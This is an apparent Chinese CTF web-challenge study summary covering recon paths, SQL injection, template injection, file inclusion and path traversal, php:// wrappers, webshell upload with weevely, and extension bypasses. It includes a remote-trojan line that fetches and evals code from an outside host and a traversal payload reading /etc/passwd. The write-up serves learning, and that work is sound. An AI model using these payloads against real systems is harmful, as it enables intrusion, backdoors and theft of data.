Web题目总结:
当碰到一个web题目束手无策的时候,可以尝试
(1)url/robots.txt
(2)url/flag.php
(3)url/.git
(4)url/.index.php.swp(vim中的swp即swap(交换分区)的简写,在编辑文件时产生,它是隐藏文件。这个文件是一个临时交换文件,用来备份缓冲区中的内容)
1.网页源代码查看
一个是直接F12查看元素可以看到
一个是设置浏览器关闭js
一个是直接在链接前加view-source   
注意看原代码的链接:view-source:http://159.138.137.79:55803/
2.直接在链接后加/robots.txt
Robots协议(也称为爬虫协议、机器人协议等)的全称是“网络爬虫排除标准”(Robots Exclusion Protocol),网站通过Robots协议告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取。
robots.txt(统一小写)是一种存放于网站根目录下的ASCII编码的文本文件。
具体使用格式如下:
User-agent:指定对哪些爬虫生效
Disallow:指定要屏蔽的网址
3.index.php文件的备份文件名称为index.php.bak
可通过如下访问方式打开备份文件: http://159.138.137.79:57166/index.php.bak
php的备份有两种:.php~和.php.bak
4.cookie有时候也会是重点
F12->网络,查看cookie
5.有的页面元素会被disabled掉,要去掉这个关键字
5.弱密码爆破
正常方法应该使用burpsuit工具:抓包–设置爆破变量—添加字典----start
6.X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的
打开firefox和burp,使用burp对firefox进行代理拦截,在请求头添加X-Forwarded-For: 123.123.123.123,然后放包
接着继续在请求头内添加Referer: https://www.google.com
7.php代码审计
php中的弱类型比较会使’abc’ == 0为真,所以输入a=abc时,可得到flag1,如图所示。(abc可换成任意字符)。
is_numeric() 函数会判断如果是数字和数字字符串则返回 TRUE,否则返回 FALSE,且php中弱类型比较时,会使(‘1234a’ == 1234)为真,所以当输入a=abc&b=1235a条件符合
8.Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。它只支持文本,不支持图像。允许用户使用层叠结构的菜单与文件,以发现和检索信息,它拥有世界上最大、最神奇的编目。

9.SQL注入
利用内置函数获取数据的一些信息
数据库版本信息查看:select @@version
查看操作系统:select @@version_compile_os
查看数据库路径:Select @@datadir
查看数据库安装路径:Select @@basedir
url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%
常用的写出来吧: 空格是%20,单引号是%27, 井号是%23,双引号是%22

10.反序列化
在注入的时候页面显示php报错:Notice: unserialize(): Error at offset 0 of 1 bytes in/var/www/html/view.phpon line31
所以,接下来的思路应该就是反序列化:
用户注册的信息经过序列化后存入数据库,在view.php页面再反序列化成实例然后显示出来
11.模板注入
{{100-1}}
{{config}}
{{self.dict}}
参考网址:https://blog.csdn.net/qq_40827990/article/details/82940894

代码执行函数:
Eval ,assert,preg_replace,array_map等
命令执行函数
System,exec,passthru等
PHP:passthru() 函数 也是用来执行外部命令(command)的
远程木马:assert($file_get_contents(“http://ip/eval.txt”))
伪协议后门assert(PHP://input)
漏洞利用:

在C、PHP等语言的常用字符串处理函数中,0x00被认为是终止符
文件包含漏洞原理

<?php $filename = $_GET['filename']; include($filename); ?>

require()
require_once()
include()
include_once()

PHP伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档

php5.3之后支持了类似Java的jar包,名为phar。用来将多个PHP文件打包为一个文件.可以和tar zip相互转化。

urllib.quote(url)和urllib.quote_plus(url)
将url数据获取之后,并将其编码,从而适用与URL字符串中,使其能被打印和被web服务器接受。

urllib.quote(‘http://www.baidu.com’)‘http%3A//www.baidu.com’
urllib.quote_plus(‘http://www.baidu.com’)‘http%3A%2F%2Fwww.baidu.com’
对该poc 的空格和一些特殊字符进行url 编码,然后每个回车都编码成%0d%0a包括尾巴行的回车即可用gopher 协议提交。
urllib.unquote(url)和urllib.unquote_plus(url)
与urllib.quote函数相反。

I春秋题目

打开页面,查看源码,未发现提示。用bp抓包,在登录请求头中发现cookie中login=0,明显要我们改为1,登录后发现提示管理页:manages/admin.php,继续用bp请求该页面(记得login=1),发现反回头里跳转到Location: admin.php?module=index&name=php

以上网址很明显,访问index.php,那就测试加载系统配置文件看看。GET /manages/admin.php?module=/etc/passwd&name= 无返回,…/向上找,也没反应。测试是否过滤了…/。用…/./试试,发现可以读取,地址为:GET /manages/admin.php?module=…/./…/./…/./…/…/…/…/…/etc/passwd&name。试着读取flag.php文件,发现也可以。

但现在目的是读取php的源码,查看下服务器是nginx。找一下它的配置文件,在自己的kali下,用以下命令查找:
root@kali:~# find / -name “nginx.conf” ,返回 /etc/nginx/nginx.conf

读取该配置文件,payload GET /manages/admin.php?module=…/./…/./…/./etc/nginx/nginx.conf&name= , 其中大部分被#注释了,主要配置文件这是句 include sites-enabled/default; 那就再查看这个配置文件。GET /manages/admin.php?module=…/./…/./…/./etc/nginx/sites-enabled/default&name=

在该文件里,发现

location /online-movies {alias /movie/;autoindex on;}

这里边的 autoindex on ,即为允许目录浏览。访问/online-movies ,发现页面上显示…/即可浏览目录下载文件。
访问/online-movies…/var/www/html/flag.php下载该文件,获得flag
不知道这里/online-movies/…为什么不行

Git泄露,用GitHack测试失败,用下面这两个工具都可以,应该可以下载到两个flag.js文件
https://github.com/WangWen-Albert/JGitHack
https://github.com/gakki429/Git_Extract

JGitHack的使用:java -jar JGitHack.jar

3.文件上传
weevely generate password ./weevely.php#连接密码是password
将php文件后缀更改为jpg,上传过程中用过burp抓包重新更改为PHP
cp weevely.php weevely.jpg
通过weevely连接上传的木马
weevely http://d813a58ec4794b3a8ff1780ef0f4db5c5ee25ffe42f84458.changame.ichunqiu.com/upload/weevely.php password
搜索路径在里面发现了数据库配置文件config.php,看到了数据库账号密码

使用weevely连接数据库sql_console -u ctf -p ctfctfctf

查看数据库名 show databases
查看数据库ctf中的表名
select table_name from information_schema.tables where table_schema=‘ctf’
或者使用命令show tables from ctf


文末要修改


发现已经直接包含了phpinfo()。既然是文件包含错误,首先搜索了一下allow_url_include,发现是处于打开的状态。既然 allow_url_include打开,意味着直接能使php://input包含post中的代码。不多说,直接先查看一下目录下的文件:

如果我正常用LFI(本地文件包含)去读dle345aae.php文件 是无法读取它的源码 它会被当做php文件被执行,把指定php文件的源码以base64方式编码并被显示出来

path=php://filter/read=convert.base64-encode/resource=dle345aae.php

判断后台代码过滤了<?和php关键字。.在网上找到一个一句话,修改后如下

通过菜刀连接获取webshell
也可以直接通过php脚本显示文本内容。上传php脚本内容如下:

点击网页源代码中的链接,直接查看flag

Python发送请求包程序

import base64,requests
def main():a = requests.session()b = a.get("http://017de84c18bb4d05b013d4d032e5b174828a49c111334646.changame.ichunqiu.com/")key1 = b.headers["flag"]c = base64.b64decode(key1)d = str(c).split(':')key = base64.b64decode(d[1])body = {"ichunqiu":key}f = a.post("http://017de84c18bb4d05b013d4d032e5b174828a49c111334646.changame.ichunqiu.com/",data=body)print f.text
if __name__ == '__main__':
main()

用户名:8638d5263ab0d3face193725c23ce095
访问 URL+/xxxx/.svn/wc.db (SVN 源码泄露漏洞)
爆破MD5

import hashlib
def md5(s):return hashlib.md5(str(s).encode('utf-8')).hexdigest()
def main(s):for i in range(1,99999999):if md5(i)[0:6]  == str(s):print(i)exit(0)
if __name__ == '__main__':main("xxxx")

The 7815696ecbf1c96e6894b779456d330e.php:)Welcome
8638d5263ab0d3face193725c23ce095!

弹窗误点消失也可以通过查看网页源代码查看alert函数.
传pht后缀的文件,Content-type为image/jpeg的,问题在于怎么知道要把后缀改成pht,我试了好多后缀都不行,必须是pht的,pht是什么文件?
php常用的绕过后缀:大小写、pht、phtml、php2,php3、php4等等
话说是php语言除了可以解析以php为后缀的文件,还可以解析php2,php3、php4、php5,pht这些后缀的文件。我在本地试了下竟然不可以

7.GET_flag
爆破验证码,对user进行sql注入

查看a.php发现在提示flag在根目录,利用BurpSuite拦截下载a.php的包


这里一定要注意上下文中的challenges这个目录,这里应该是根据url不断尝试、不断猜测得到的,可以得到flag.php中的内容

这里不太明白为什么不能直接使用flag=flag从而执行echo file_get_contents(“helloctf.php”);
Writeup中的提示说明是由于eval函数做了异常处理,直接提交flag=flag会产生异常,而提交flag='flag’或flag=“flag”,引号会被过滤
百度了一样PHP字符串的表示方法,之后发现字符串还有一种表示方法叫做Heredoc,不包含引号,于是在burpsuite构造flag参数如下如图:

需要注意的是最后的换行符不能省


8.
漏洞出现提示:
(1)源码中出现

说明可能存在.swp备份文件,正常URL:xxx/index.php
则尝试URL:xxx/.index.php.swp下载.swp文件代码
并使用vim打开,打开命令:vim -r index.php.swp(vim -r 命令恢复文件)
打开后则发现源码,进行代码审计

curl -F “filename=@/home/test/file.tar.gz” http://localhost/action.php
如果使用了-F参数,curl就会以 multipart/form-data 的方式发送POST请求。-F参数以name=value的方式来指定参数内容,如果值是一个文件,则需要以name=@file的方式来指定。
一个url中既有get请求方法也有post请求方法

CTF-WEB总结(四-题目来源i春秋)相关推荐

  1. CTF Web方向考点总结

    CTF Web 0X00 前言 做题已经快四个月了,接触了大大小小的题型,收藏的大师傅们的解题思路.题型总结的博客已经很多了,每次都要一个一个翻很麻烦,于是写下了这一个总结,实际上是把各大博客内容汇总 ...

  2. CTF——web个人总结

    CTF web个人总结 仅供个人参考 从0开始接触到了CTF,算是入门了,为了方便自己做题,现在记录一下web类型题目的解题思路. 目录 CTF web个人总结 工具(含后渗透) 解题思路 一.普通思 ...

  3. 刷题之旅第35站,CTF show 萌新题目集合

    感谢ctf show平台提供题目 第一题:萌新_密码1 我们看到密文中没有大于F的,那么每俩位16进制转文本. 直接运行python脚本 import redef read_file(filepath ...

  4. CTF Web入门 命令执行 笔记

    CTF Web入门 命令执行 eval(读取命令),但各种字符被ban if(!pregmatch("...",$c)) #指过滤了...eval($c); 这时候可以尝试 ?c= ...

  5. CTF各种资源:题目、工具、资料

    目录 题目汇总 Reverse 签到题 Web Web中等难度 Crypto 基础网站 各类工具 综合 Web Payloads 逆向 Pwn 取证 题目汇总 这里收集了我做过的CTF题目 Rever ...

  6. CTF Web学习(三)----python脚本的编写及应用

    CTF Web学习(三) python脚本的编写及应用 CTF Web学习目录链接 CTF Web学习(一):基础篇及头文件修改.隐藏 CTF Web学习(二):代码审计.burp suite应用 C ...

  7. 从0到1学习CTF WEB

    从0到1学习CTF WEB web前置技能 信息泄漏 密码口令 SQL注入 基础比较薄弱,准备逐题刷CTFHub的web类型题目顺便学习一下web方面的安全知识. web前置技能 1.请求方式: 隐藏 ...

  8. BugKu CTF Web

    BugKu CTF Web 滑稽 计算器 GET POST Simple_SSTI_1 矛盾 eval 变量1 Simple_SSTI_2 alert 你必须让他停下 方法一 方法二 方法三 网站被黑 ...

  9. 南邮CTF - Web - 这题不是WEB

    题目来源:南京邮电大学网络攻防训练平台 题目链接:http://chinalover.sinaapp.com/web2/index.html 解题过程:这个题目...点开一看,我笑了,这是啥呀?猫咪吃 ...

最新文章

  1. 商城数据库表设计介绍
  2. 实验 5   数据的完整性管理
  3. 域名过期多长时间才能注册
  4. 开源应用框架BitAdminCore:更新日志20180817
  5. arcgis快速创建斜坡单元剖面线
  6. linux 挂载san存储,新手看招:Linux操作系统下挂载SAN资源
  7. Java版DBHelper【简单】(MySQL数据库)
  8. TypeError: Fetch argument has invalid type class ‘numpy.float32‘, must be a string or Tensor
  9. 网页设计心得HTML心得体会3000,网页制作的心得体会
  10. 如何批量修改图片宽高尺寸
  11. Linux利用终端执行命令,linux – 通过/ dev / pts在另一个终端中执行命令
  12. 数据挖掘导论实验报告01
  13. Python中字典(dict)和集合(set)区别与联系
  14. ssh端口转发(隧道技术)
  15. 用电脑无线投屏到电视屏幕的连接方法
  16. 深信服上网行为管理如何配置双因素/双因子(2FA)身份认证
  17. 15分钟用Java平台实现Springboot框架构建后端项目框架
  18. 下行物理信道rs_LTE上行、下行物理信道及物理信道及信号的区别
  19. CCD与CMOS区别
  20. [分享] 给铭文商人一个草药→草渣→墨水的列表[希望大家有用]

热门文章

  1. picker多选 vant_vant框架picker选择器形式列表,以及封装
  2. Kronecker克罗内克 R代码实现
  3. 【收藏】2019届互联网大厂公司校招薪资汇总,基本年薪都在20万以上
  4. 模拟信号拉线位移编码器是如何来校准的?
  5. Python爬虫下载视频(梨视频)
  6. 转:安迪·格鲁夫:你无法避免开会,但可以让它更有效率
  7. 阿里mysql密码_阿里云自带mysql 密码
  8. 面试突击51:为什么单例一定要加 volatile?
  9. 插入U盘后 计算机未响应,电脑插入U盘后没有反应怎么办?
  10. python 桑基图_3行代码基于python的matplotlib绘制桑基图